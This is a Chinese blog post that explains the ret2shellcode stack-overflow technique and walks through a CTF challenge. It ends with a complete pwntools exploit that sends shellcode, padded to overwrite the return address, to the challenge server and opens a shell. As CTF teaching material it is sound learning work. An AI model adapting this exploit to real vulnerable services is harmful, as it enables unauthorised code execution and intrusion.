欢迎光临散文网 会员登陆 & 注册

ret2shellcode

2023-04-11 21:19 作者:拉狗不出异格不改名  | 我要投稿

这边就简单的情况分析一下,能力有限,复杂的shellcode还不会写。

1、概述:

自己调用shell的机器码注入到内存中,然后通过栈溢出复写返回地址,使得程序跳转到shellcode所在的内存之中

       这里,我们需要找到一个能够读写的段地址,并且这个地址是可以执行的(-x-w),同时还需要知道如何修改这些段的内容

2、攻击手段(四种简单的常见思路)

1)向stack中注入shellcode

这种情况一般是啥保护也没有开的情况,直接写就完事

2)向bss段中注入shellcode

在虚拟内存中,bss主要保存没有初始值的全局变量或静态变量(汇编中由占位符?声明)。

这里是针对bss段可以写的情况。

3)向data段中注入shellcode

data段主要保存的是已经初始化了的全局变量或静态变量,攻击思路和bss注入方法向类似

4)向heap段中注入shellcode

heap主要保存通过动态内存分配产生的变量。如果heap段可写并且可以执行,攻击者就可以尝试向shellcode注入到动态分配的变量中

3、shellcode的使用(一些详细的介绍,可以看看这里)

The art of shellcode - roderick - record and learn! (roderickchan.github.io)

(补充一下,要是我们要知道我们掉用的函数长度,可以

python3

from pwn import*

len(asm(shellcraft.sh())

 

4、这里结合一道详细的例题来简单的说一下

[HNCTF 2022 Week1]ret2shellcode

这里结合简单的原理来说一下怎么做的。

1、检查一下保护机制:


2、分析主函数:

IDA中的main


这一道题,经过我们的分析发现并没有发现bin/sh文件的地址,然而,我们发现在主函数中存在可以读写的段,再想到题目名称的提示,我们可以进行ret2shellcode

通过查看,

buff段地址

(vmmap:

buff地址是可以读写的。

3、开始编写exp,

这里我们s[ ]数组由100个空间,返回地址加8


再结合之前分析buff位于0x4040A0处

可以知道我们的payload=shell.ljust(0x108,b’0’)+p64(buff)

完整exp:

 

from pwn import *

context(log_level='debug',arch='amd64', os='linux')

 

io = remote('node3.anna.nssctf.cn',28916)

 

shell=asm(shellcraft.sh())

buff=0x4040A0

payload=shell.ljust(0x108,b'0')+p64(buff)

io.sendline(payload)

 

io.interactive()

4、获得flag


ret2shellcode的评论 (共 条)

分享到微博请遵守国家法律